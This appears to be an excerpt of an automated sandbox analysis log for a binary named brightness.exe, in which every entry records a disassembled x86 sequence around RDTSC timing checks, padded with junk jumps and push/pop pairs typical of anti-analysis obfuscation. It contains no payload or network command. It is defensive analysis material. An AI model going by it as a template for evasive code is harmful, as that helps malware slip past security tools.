Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0A2C second address: 4FB0AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F4672BC297Fh 0x00000011 pushad 0x00000012 pushad 0x00000013 mov ebx, esi 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 jmp 00007F4600C59B0Ah 0x0000001e popad 0x0000001f mov eax, edx 0x00000021 jmp 00007F4600C59B10h 0x00000026 and eax, 1Fh 0x00000029 jmp 00007F4600C59B10h 0x0000002e push 00000020h 0x00000030 pushad 0x00000031 mov si, FC0Dh 0x00000035 pushfd 0x00000036 jmp 00007F4600C59B0Ah 0x0000003b xor si, CA28h 0x00000040 jmp 00007F4600C59B0Bh 0x00000045 popfd 0x00000046 popad 0x00000047 pop ecx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0AA6 second address: 4FB0AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0AC1 second address: 4FB0AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ecx, eax 0x0000000b jmp 00007F4600C59B0Ah 0x00000010 mov eax, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4600C59B0Ah 0x0000001c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0AE7 second address: 4FB0AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0AF6 second address: 4FB0B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4600C59B0Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0B0A second address: 4FB0B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 ror eax, cl 0x00000009 pushad 0x0000000a movzx eax, dx 0x0000000d movsx edx, ax 0x00000010 popad 0x00000011 xor eax, edx 0x00000013 pushad 0x00000014 jmp 00007F4600EB04F5h 0x00000019 call 00007F4600EB04F0h 0x0000001e pushfd 0x0000001f jmp 00007F4600EB04F2h 0x00000024 and cl, 00000038h 0x00000027 jmp 00007F4600EB04EBh 0x0000002c popfd 0x0000002d pop ecx 0x0000002e popad 0x0000002f leave 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F4600EB04F2h 0x00000037 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0247 second address: 4FC026A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC026A second address: 4FC026E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC026E second address: 4FC0289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0289 second address: 4FC028F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC028F second address: 4FC0293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0293 second address: 4FC0297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0297 second address: 4FC0303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b jmp 00007F4600C59B17h 0x00000010 sub eax, eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F4600C59B15h 0x00000019 or ah, FFFFFFE6h 0x0000001c jmp 00007F4600C59B11h 0x00000021 popfd 0x00000022 popad 0x00000023 inc eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F4600C59B18h 0x0000002b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0538 second address: 4FC053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC053C second address: 4FC0555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0555 second address: 4FC05B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4600EB04F7h 0x00000008 pushfd 0x00000009 jmp 00007F4600EB04F8h 0x0000000e jmp 00007F4600EB04F5h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F4600EB04EEh 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC05B8 second address: 4FC05BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC05BC second address: 4FC05C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC05C2 second address: 4FC05C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC05C8 second address: 4FC05CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC09AF second address: 4FC09B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, C55Ah 0x00000008 popad 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC09B8 second address: 4FC09D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC09D3 second address: 4FC09D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC09D9 second address: 4FC09DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC09DF second address: 4FC0A04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4600C59B0Eh 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0A04 second address: 4FC0A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4600EB04F5h 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0A2B second address: 4FC0A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600C59B0Ch 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0A3B second address: 4FC0A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ah, A6h 0x0000000f push edx 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0A4D second address: 4FC0A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0A53 second address: 4FC0A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4600EB04EBh 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC08EA second address: 4FC0947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4600C59B0Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F4600C59B11h 0x00000017 sub eax, 3D713656h 0x0000001d jmp 00007F4600C59B11h 0x00000022 popfd 0x00000023 mov eax, 2DE0D3C7h 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0947 second address: 4FC094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC094B second address: 4FC095A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC095A second address: 4FC0996 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 7347EE9Ah 0x00000008 mov si, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F4600EB04EDh 0x00000015 pop ebp 0x00000016 pushad 0x00000017 pushad 0x00000018 mov cx, 5269h 0x0000001c movzx esi, dx 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007F4600EB04F1h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC07F4 second address: 4FC0810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4600C59B16h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0810 second address: 4FC087F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F4600EB04EEh 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007F4600EB04EEh 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F4600EB04F8h 0x00000020 add cx, F238h 0x00000025 jmp 00007F4600EB04EBh 0x0000002a popfd 0x0000002b jmp 00007F4600EB04F8h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC087F second address: 4FC0885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0885 second address: 4FC0889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0889 second address: 4FC08A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC08A3 second address: 4FC08B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC001D second address: 4FC00BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4600C59B17h 0x00000008 mov ax, 007Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 mov eax, edx 0x00000013 mov ch, dh 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F4600C59B16h 0x0000001c mov ebp, esp 0x0000001e jmp 00007F4600C59B10h 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F4600C59B0Dh 0x0000002d and ax, A536h 0x00000032 jmp 00007F4600C59B11h 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007F4600C59B10h 0x0000003e sub eax, 09CCEC58h 0x00000044 jmp 00007F4600C59B0Bh 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0493 second address: 4FC04B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, dx 0x00000010 mov esi, edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC04B2 second address: 4FC04CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600C59B17h 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC04CD second address: 4FC04FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4600EB04F5h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4600EB04EDh 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC04FC second address: 4FC0502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0502 second address: 4FC0506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0506 second address: 4FC050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC03B9 second address: 4FC03BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC03BF second address: 4FC03C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC03C3 second address: 4FC03E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dx, cx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4600EB04ECh 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC03E2 second address: 4FC03E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC03E8 second address: 4FC03F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600EB04EDh 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC03F9 second address: 4FC0429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F4600C59B0Dh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov ebx, ecx 0x00000013 movzx esi, bx 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4600C59B0Eh 0x0000001f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0429 second address: 4FC043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600EB04EEh 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F9053D second address: 4F90566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push edx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebp 0x0000000d jmp 00007F4600C59B15h 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F905FE second address: 4F90602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F90602 second address: 4F90608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F90608 second address: 4F9060E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F9060E second address: 4F90673 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4600C59B0Bh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov bh, ah 0x00000015 pushfd 0x00000016 jmp 00007F4600C59B11h 0x0000001b xor ax, 3AF6h 0x00000020 jmp 00007F4600C59B11h 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F4600C59B0Dh 0x00000030 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F90673 second address: 4F90683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600EB04ECh 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F90683 second address: 4F90687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70049 second address: 4F7009F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F4600EB04F4h 0x00000011 pushfd 0x00000012 jmp 00007F4600EB04F2h 0x00000017 sbb ecx, 60C0D3B8h 0x0000001d jmp 00007F4600EB04EBh 0x00000022 popfd 0x00000023 pop ecx 0x00000024 popad 0x00000025 mov ecx, dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F7009F second address: 4F700A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F700A3 second address: 4F700A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F700A7 second address: 4F700AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F700AD second address: 4F70108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or eax, FFFFFFFFh 0x0000000c jmp 00007F4600EB04F0h 0x00000011 lock xadd dword ptr [ecx], eax 0x00000015 jmp 00007F4600EB04F0h 0x0000001a dec eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4600EB04F7h 0x00000022 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F70108 second address: 4FC0247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebp 0x00000007 pushad 0x00000008 mov esi, 12AF307Fh 0x0000000d popad 0x0000000e retn 0004h 0x00000011 nop 0x00000012 test eax, eax 0x00000014 jne 00007F4600C59B13h 0x00000016 mov eax, dword ptr [esi+68h] 0x00000019 cmp eax, 0033A240h 0x0000001e je 00007F4600C59B09h 0x00000020 mov dword ptr [esi+68h], ebx 0x00000023 push ebx 0x00000024 mov edi, dword ptr [002F2178h] 0x0000002a call edi 0x0000002c mov edi, edi 0x0000002e pushad 0x0000002f mov cx, 2B63h 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 mov esi, ebx 0x00000038 popad 0x00000039 mov dword ptr [esp], ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f call 00007F4600C59B12h 0x00000044 pop eax 0x00000045 popad 0x00000046 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC077A second address: 4FC07B3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4600EB04EFh 0x00000008 adc ah, 0000000Eh 0x0000000b jmp 00007F4600EB04F9h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC07B3 second address: 4FC07B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC07B7 second address: 4FC07BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB088D second address: 4FB0893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0893 second address: 4FB0897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0897 second address: 4FB089B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB089B second address: 4FB08AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB08AA second address: 4FB08B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB08B0 second address: 4FB08B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB08B6 second address: 4FB08BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0C87 second address: 4FB0C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0C8C second address: 4FB0C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0C92 second address: 4FB0C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB0C96 second address: 4FB0C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
